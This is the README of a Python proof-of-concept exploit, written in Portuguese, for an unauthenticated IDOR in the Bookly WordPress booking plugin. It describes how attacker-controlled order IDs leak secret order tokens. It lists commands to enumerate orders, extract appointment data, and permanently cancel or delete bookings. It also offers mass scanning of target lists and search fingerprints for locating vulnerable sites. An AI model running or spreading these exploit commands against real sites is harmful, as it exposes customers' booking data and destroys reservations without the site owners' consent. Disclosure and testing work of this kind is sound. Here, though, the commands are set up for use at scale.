murrez/cve-2026-93399PoC em Python para CVE-2026-93399, um IDOR não autenticado no Bookly <= 28.2 que vaza tokens de pedido, expõe agendamentos e reverte reservas.
Python 3 PoC para CVE-2026-93399 no Bookly (bookly-responsive-appointment-booking-tool).
CVE-2026-93399 — Bookly ≤ 28.2 sofre de Insecure Direct Object Reference (CWE-639) no AJAX de reserva pública: bookly_get_form_id armazena o order_id controlado pelo atacante na sessão do formulário, e bookly_render_complete retorna o token secreto bookly_order desse pedido sem verificar se a sessão criou o pedido. Atacantes não autenticados podem enumerar IDs de pedidos, roubar tokens, extrair dados de agendamentos via bookly_add_to_calendar e cancelar/excluir reservas não concluídas com bookly_rollback_order. CVSS 3.1: 9.1 Crítico (C:N/I:H/A:H). Corrigido em > 28.2.
Página do PoC: https://pocbit.org/pocs/cve-2026-93399
Índice do catálogo: https://pocbit.org/pocs/
pip install -r requirements.txt
python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30
python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5
body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"
Apenas testes autorizados. --rollback --confirm-delete remove reservas permanentemente.